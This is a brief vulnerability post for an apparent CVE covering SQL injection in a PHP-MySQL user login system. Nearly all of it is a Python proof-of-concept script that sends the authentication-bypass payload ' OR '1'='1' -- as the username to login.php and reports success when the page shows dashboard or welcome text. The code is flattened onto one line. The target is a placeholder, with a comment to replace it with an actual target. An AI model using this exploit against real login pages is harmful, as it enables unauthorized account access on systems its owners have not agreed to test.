CVE-2026-29861: PHP-MYSQL-User-Login-System SQL注入漏洞

import requests def check_sqli(url): target_url = f"{url}/login.php" # Payload for authentication bypass payload = "' OR '1'='1' -- " # Data payload usually sent in POST request for login data = { "username": payload, "password": "random_password" } try: response = requests.post(target_url, data=data, timeout=5) # Check for successful login indicators (adjust based on actual app response) if response.status_code == 200 and ("dashboard" in response.text.lower() or "welcome" in response.text.lower()): print("[+] Vulnerability confirmed: SQL Injection allows login bypass.") else: print("[-] Exploit failed or unable to confirm.") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": target = "http://127.0.0.1" # Replace with actual target check_sqli(target)